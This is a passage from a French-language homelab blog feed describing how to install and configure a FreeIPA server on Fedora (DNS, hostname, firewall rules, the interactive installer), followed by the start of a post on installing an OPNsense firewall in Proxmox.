<div class="theme-admonition theme-admonition-info admonition_xJq3 alert alert--info"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"></path></svg></span>apparté</div><div class="admonitionContent_BuS1"><p>Pour l'administration de mes serveurs qui sont pour le moment sur mon bridge internal, j'ai besoin de me connecter dessus en direct. Dans un monde idéal, on doit utiliser un bastion pour se connecter.</p><p>Mais dans mon infra, un simpe</p><div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">ip</span><span class="token plain"> route </span><span class="token function" style="color:#d73a49">add</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.0</span><span class="token plain">.0.0/8 dev </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">l'interface réseau</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> via </span><span class="token number" style="color:#36acaa">192.168</span><span class="token plain">.1.250</span><br></div></code></pre></div></div><p>me permet de me connecter à tous les réseaux de mon bridge <code>internal</code>.</p></div></div>
<div class="theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>remarque</div><div class="admonitionContent_BuS1"><p>j'ai un souci que je ne comprends toujours pas. Il m'est impossible de me connecter à mon pare-feu sur son interface "WAN" (qui est en réalité sur mon LAN) :</p><div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">curl</span><span class="token plain"> https://192.168.1.250 </span><span class="token parameter variable" style="color:#36acaa">-k</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">curl: </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">35</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> Recv failure: Connexion ré-initialisée par le correspondant</span><br></div></code></pre></div></div><p>J'ai cherché pas mal de temps sur les trames qui passent et ça donnerait presque l'impression qu'il y a un souci, j'ai tout le temps un ttl à 63 contre 64 pour n'importe quelle autre destination.</p><p>Cela signifie que j'ai un saut supplémentaire quelque part (ma trame traverse un autre routeur, très certainement ma box internet). Bien que cela ne devrait pas avoir d'incidence sur la connectivité réseau, le problème est toujours là.</p><p>je n'ai pas pour le moment trouvé la source du problème. En tout cas la route que je donne au dessus permet de se connecter sur les interfaces vlan du pare-feu, ce qui fonctionne.
Je mettrai cette note à jour si jamais je trouve la solution (et ça ne provient pas d'un reply-to ou d'un souci du driver vtnet de freeBSD, j'ai vérifié)</p></div></div>
<p>Une fois l'installation terminée, le serveur redémarre et vous pouvez vous connecter avec le compte que vous avez configuré.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="installation-de-freeipa">Installation de FreeIPA<a href="https://docs.bastienbonora.fr/blog/homelab-installation-free-ipa#installation-de-freeipa" class="hash-link" aria-label="Lien direct vers Installation de FreeIPA" title="Lien direct vers Installation de FreeIPA" translate="no">​</a></h2>
<p>Avant de commencer l'installation de l'outil, il y a pas mal de points importants qu'il faut configurer au préalable pour garantir le bon fonctionnement de l'outil.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="vérifier-les-dernières-mises-à-jour">Vérifier les dernières mises à jour<a href="https://docs.bastienbonora.fr/blog/homelab-installation-free-ipa#v%C3%A9rifier-les-derni%C3%A8res-mises-%C3%A0-jour" class="hash-link" aria-label="Lien direct vers Vérifier les dernières mises à jour" title="Lien direct vers Vérifier les dernières mises à jour" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> dnf upgrade </span><span class="token parameter variable" style="color:#36acaa">--refresh</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-info admonition_xJq3 alert alert--info"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"></path></svg></span>info</div><div class="admonitionContent_BuS1"><p>Si vous avez correctement configuré vos interface réseau pas comme moi vous n'aurez pas de souci. Dans mon cas, je n'avais aucune résolution de nom qui se faisait :</p><div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">~</span><span class="token variable" style="color:#36acaa">$resolvectl</span><span class="token plain"> status</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Global</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         Protocols: </span><span class="token assign-left variable" style="color:#36acaa">LLMNR</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">resolve </span><span class="token parameter variable" style="color:#36acaa">-mDNS</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-DNSOverTLS</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">DNSSEC</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">no/unsupported</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  resolv.conf mode: stub</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Link </span><span class="token number" style="color:#36acaa">2</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">ens18</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    Current Scopes: LLMNR/IPv4 LLMNR/IPv6</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         Protocols: </span><span class="token parameter variable" style="color:#36acaa">-DefaultRoute</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">LLMNR</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">resolve </span><span class="token parameter variable" style="color:#36acaa">-mDNS</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-DNSOverTLS</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">DNSSEC</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">no/unsupported</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">     Default Route: no</span><br></div></code></pre></div></div><p>Si vous êtes dans le même cas, il faut définit à la main les différents dns à utiliser :</p><ol>
<li class="">Vérifier le nom de la connexion :</li>
</ol><div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">~</span><span class="token variable" style="color:#36acaa">$nmcli</span><span class="token plain"> connection show</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">NAME                UUID                                  TYPE      DEVICE</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Wired connection </span><span class="token number" style="color:#36acaa">1</span><span class="token plain">  4a8a76d4-57c6-3690-b374-80b7cf81fe68  ethernet  ens18</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">lo                  1f2c0a59-bacc-4bda-af03-bbd99d9a6d94  loopback  lo</span><br></div></code></pre></div></div><ol start="2">
<li class="">Modifier les paramètres de résolution DNS :</li>
</ol><div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> nmcli connection modify </span><span class="token string" style="color:#e3116c">"Wired connection 1"</span><span class="token plain"> ipv4.dns </span><span class="token string" style="color:#e3116c">"8.8.8.8 1.1.1.1"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> nmcli connection modify </span><span class="token string" style="color:#e3116c">"Wired connection 1"</span><span class="token plain"> ipv4.ignore-auto-dns no</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> nmcli connection up </span><span class="token string" style="color:#e3116c">"ens18"</span><br></div></code></pre></div></div><ol start="3">
<li class="">Vérifiez que cela ait bien été pris en compte :</li>
</ol><div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">resolvectl status</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Global</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         Protocols: </span><span class="token assign-left variable" style="color:#36acaa">LLMNR</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">resolve </span><span class="token parameter variable" style="color:#36acaa">-mDNS</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-DNSOverTLS</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">DNSSEC</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">no/unsupported</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  resolv.conf mode: stub</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Link </span><span class="token number" style="color:#36acaa">2</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">ens18</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    Current Scopes: DNS LLMNR/IPv4 LLMNR/IPv6</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         Protocols: +DefaultRoute </span><span class="token assign-left variable" style="color:#36acaa">LLMNR</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">resolve </span><span class="token parameter variable" style="color:#36acaa">-mDNS</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-DNSOverTLS</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">DNSSEC</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">no/unsupported</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Current DNS Server: </span><span class="token number" style="color:#36acaa">8.8</span><span class="token plain">.8.8</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">       DNS Servers: </span><span class="token number" style="color:#36acaa">8.8</span><span class="token plain">.8.8 </span><span class="token number" style="color:#36acaa">1.1</span><span class="token plain">.1.1</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">     Default Route: </span><span class="token function" style="color:#d73a49">yes</span><br></div></code></pre></div></div></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="configuration-hostname-et-dns">Configuration hostname et DNS<a href="https://docs.bastienbonora.fr/blog/homelab-installation-free-ipa#configuration-hostname-et-dns" class="hash-link" aria-label="Lien direct vers Configuration hostname et DNS" title="Lien direct vers Configuration hostname et DNS" translate="no">​</a></h3>
<p>C'est l'un des points les plus importants de kerberos (le protocole qui est au coeur de l'authentification sur FreeIPA) qui est extrêmement sensible à la résolution DNS.
Lorsque l'on installe FreeIPA, ce dernier vérifie que le hostname ne soit pas <code>localhost</code> et qu'il soit pleinement qualifié (FQDN), qu'il soit résolvable et que le reverse DNS de l'IP résolue corresponde au hostname.</p>
<p>Beaucoup d'explications, mais pas beaucoup de commandes :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic"># Définition du nom de domaine de façon permanente</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> hostnamectl set-hostname freeipa.home.lan</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Vérification</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">hostname</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-f</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>remarque</div><div class="admonitionContent_BuS1"><p>Je voulais initialement aller sur un domaine en <code>.local</code>, cependant, je me suis rendu compte que c'est un domaine réservé à <strong>mDNS</strong>. Sur Linux ce suffixe est intercepté par <code>systemd-resolved</code> qui l'envoie vers mDNS avant même d'interroger un DNS classique. Autant dire que pour des services basés sur de la résolution de nom, ce n'est pas la meilleure idée. Donc je suis parti sur <code>.lan</code> après avoir découvert ça</p></div></div>
<p>Ensuite, il est impératif que ce nom de domaine que vous avez défini soit inscrit dans le fichier <code>/etc/hosts</code> afin que la résolution locale fonctionne.</p>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>Attention</div><div class="admonitionContent_BuS1"><p>FreeIPA refusera de s'installer si votre nom de domaine n'a qu'un seul niveau.</p><ul>
<li class=""><code>freeipa.lan</code> -&gt; Ne fonctionnera pas</li>
<li class=""><code>freeipa.home.lan</code> -&gt; Fonctionnera</li>
</ul><p>La raison est que FreeIPA s'appuie sur BIND et Kerberos qui tous deux demandent impérativement un domaine DNS avec <strong>au moins</strong> deux labels</p></div></div>
<p>Pour ma part cette modification est :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token number" style="color:#36acaa">10.20</span><span class="token plain">.20.1      freeipa.home.lan</span><br></div></code></pre></div></div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="vérification">Vérification<a href="https://docs.bastienbonora.fr/blog/homelab-installation-free-ipa#v%C3%A9rification" class="hash-link" aria-label="Lien direct vers Vérification" title="Lien direct vers Vérification" translate="no">​</a></h4>
<p>Pour vérifier ça :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">hostname</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-f</span><span class="token plain"> 				</span><span class="token comment" style="color:#999988;font-style:italic"># Doit retourner le domaine complet, pour moi : freeipa.home.lan</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">ping</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-c1</span><span class="token plain"> freeipa.home.lan 	</span><span class="token comment" style="color:#999988;font-style:italic"># Ou avec le nom de votre serveur, ce ping doit fonctionner et aller sur l'IP que vous avez défini dans le fichier hosts</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">ping</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-c1</span><span class="token plain"> google.com 		</span><span class="token comment" style="color:#999988;font-style:italic"># Juste pour vérifier la résolution de nom internet</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="configuration-des-règles-de-pare-feu">Configuration des règles de pare-feu<a href="https://docs.bastienbonora.fr/blog/homelab-installation-free-ipa#configuration-des-r%C3%A8gles-de-pare-feu" class="hash-link" aria-label="Lien direct vers Configuration des règles de pare-feu" title="Lien direct vers Configuration des règles de pare-feu" translate="no">​</a></h3>
<p>FreeIPA empile plusieurs services réseaux, et pour cela Fedora propose des règles de service qui sont pré-définies dans Fedora.</p>
<p>Pour cela il suffit :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">firewall-cmd --add-service</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">freeipa-4 </span><span class="token parameter variable" style="color:#36acaa">--permanent</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">firewall-cmd --add-port</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">53</span><span class="token plain">/tcp --add-port</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">53</span><span class="token plain">/udp </span><span class="token parameter variable" style="color:#36acaa">--permanent</span><br></div></code></pre></div></div>
<p>La première commande prend en compte les ports : TCP <code>80, 443, 389, 636, 88, 464</code> et UDP <code>88, 464, 123</code>. Soit concrètement HTTP/S pour l'interface web, LDAP/S pour l'annuaire, Kerberos (88) et kadmin (464) pour l'authentification et NTP.</p>
<p>La seconde permet de rajouter le port <code>53</code> pour la résolution DNS.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="installation-de-freeipa-1">Installation de FreeIPA<a href="https://docs.bastienbonora.fr/blog/homelab-installation-free-ipa#installation-de-freeipa-1" class="hash-link" aria-label="Lien direct vers Installation de FreeIPA" title="Lien direct vers Installation de FreeIPA" translate="no">​</a></h2>
<p>Une fois tout ça fini, on installe FreeIPA</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> dnf </span><span class="token function" style="color:#d73a49">install</span><span class="token plain"> freeipa-server-dns</span><br></div></code></pre></div></div>
<p>Il existe également une version sans résolution, il suffit d'y enlever le <code>-dns</code> à la fin.</p>
<p>Une fois installé il suffit de :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> ipa-server-install</span><br></div></code></pre></div></div>
<p>Vous serez alors amené dans un prompt interactif vous demandant :</p>
<ol>
<li class="">
<p>si le script doit installer un DNS intégré (BIND)</p>
<blockquote>
<p>Pour moi oui</p>
</blockquote>
</li>
<li class="">
<p>Le nom complet de la machine (qui sera normalement déjà rempli)</p>
</li>
<li class="">
<p>Le nom de domaine de votre domaine</p>
<blockquote>
<p>Pour moi <code>home.lan</code></p>
</blockquote>
</li>
<li class="">
<p>Le mot de passe de l'utilisateur <code>Directory Manager</code></p>
</li>
<li class="">
<p>Le mot de passe du compte <code>admin</code></p>
</li>
<li class="">
<p>Si des DNS forwarders doivent être configurés</p>
<blockquote>
<p>Dans mon cas oui, mes serveurs interne utiliseront freeipa pour résoudre des noms sur internet, donc il doit y en avoir</p>
</blockquote>
</li>
<li class="">
<p>Si oui lesquels</p>
</li>
<li class="">
<p>Vérifier ce que vous avez mis et accepter l'installation</p>
</li>
</ol>
<p>Une fois l'installation terminée, vous aurez une page web accessible en HTTPS sur l'IP</p>
<p>Si tout est fonctionnel, vous devriez arriver sur cette page une fois fait :
<img decoding="async" loading="lazy" alt="Login Screen FreeIPA" src="https://docs.bastienbonora.fr/assets/images/FreeIPA_LoginScreen-2fc59c134b756b0d7f816023a898c634.png" width="3338" height="620" class="img_ev3q"></p>
<div class="theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>remarque</div><div class="admonitionContent_BuS1"><p>Lorsque vous vous connectez sur l'IP de votre serveur, automatiquement, le serveur vous redirige sur son nom de domaine.
Il peut être nécessaire sur votre machine d'ajouter le nom de domaine de votre serveur avec son IP pour que cette résolution fonctionne.</p><p>Pour ma part, j'ai modifié mon fichier <code>/etc/hosts</code> comme suit :</p><div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token number" style="color:#36acaa">10.20</span><span class="token plain">.20.1 		freeipa.home.lan</span><br></div></code></pre></div></div></div></div>
<p>Je consacrerai un autre article sur la configuration de cet outil ainsi que sur l'enrollement de serveurs au sein de FreeIPA. Jusque là, je vous dis à la prochaine !</p>]]></content>
        <author>
            <name>Bastien Bonora</name>
            <uri>https://bastienbonora.fr</uri>
        </author>
        <category label="informatique" term="informatique"/>
        <category label="open-source" term="open-source"/>
        <category label="Système" term="Système"/>
        <category label="Linux" term="Linux"/>
        <category label="lab" term="lab"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Installation du firewall de mon home-lab]]></title>
        <id>https://docs.bastienbonora.fr/blog/homelab-installationDuFirewall</id>
        <link href="https://docs.bastienbonora.fr/blog/homelab-installationDuFirewall"/>
        <updated>2026-05-29T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Je commence la mise en place de mon home-lab, cet article est le début d'une petite série de mise en place de plein de solution.]]></summary>
        <content type="html"><![CDATA[<p>Je commence la mise en place de mon home-lab, cet article est le début d'une petite série de mise en place de plein de solution.</p>
<p>Quoi de mieux pour commencer une infra que de commencer par le pare-feu. L'entité qui me servira pour tous les éléments réseaux de mon lab</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-firewall">Le firewall<a href="https://docs.bastienbonora.fr/blog/homelab-installationDuFirewall#le-firewall" class="hash-link" aria-label="Lien direct vers Le firewall" title="Lien direct vers Le firewall" translate="no">​</a></h2>
<p>j'ai fais le choix de partir avec OpnSense. Plusieurs raisons ont porté mon choix. Notamment le fait que je me sois habitué à cet outil depuis un long moment et notament que c'est honnêtement une solution très simple à utiliser en GUI (avec la doc à côté certes).</p>
<p>D'autres solutions existent tel que PfSense (outil qui est forké par OpnSense), mais son interface graphique est honnêtement... vieillotte et très peu intuitive.</p>
<p>Il existe très probablement d'autres solutions que je ne connais pas, en tout cas dans le monde open source, je ne connais que celle-là.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="préparation">Préparation<a href="https://docs.bastienbonora.fr/blog/homelab-installationDuFirewall#pr%C3%A9paration" class="hash-link" aria-label="Lien direct vers Préparation" title="Lien direct vers Préparation" translate="no">​</a></h3>
<p>Déjà, on ne part pas installer quelque chose sans savoir ce que l'on va faire, donc voici mon objectif :</p>
<!-- -->
<p>Comme je le mentionne dans <a class="" href="https://docs.bastienbonora.fr/blog/Les-Reseaux-Proxmox">Les réseaux proxmox</a>, les bridges Linux sont littéralement des switchs. Une fois qu'on leur donne le paramètre <code>vlan aware</code>, ils se comporte alors comme un switch managé.
Donc chaque serveur pourra être dans son vlan, directement relié au pare-feu qui sera leur seule porte de sortie.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="installation">Installation<a href="https://docs.bastienbonora.fr/blog/homelab-installationDuFirewall#installation" class="hash-link" aria-label="Lien direct vers Installation" title="Lien direct vers Installation" translate="no">​</a></h3>
<p>déjà il vous faut récupérer l'ISO d'OpnSense : <a href="https://opnsense.org/download/" target="_blank" rel="noopener noreferrer" class="">OpnSense - Download</a>.</p>
<p>Une fois fait, il faut l'ajouter dans proxmox, créer une nouvelle VM avec cette ISO (mettre les bonnes interfaces réseau au passage) puis lancer sa VM.</p>
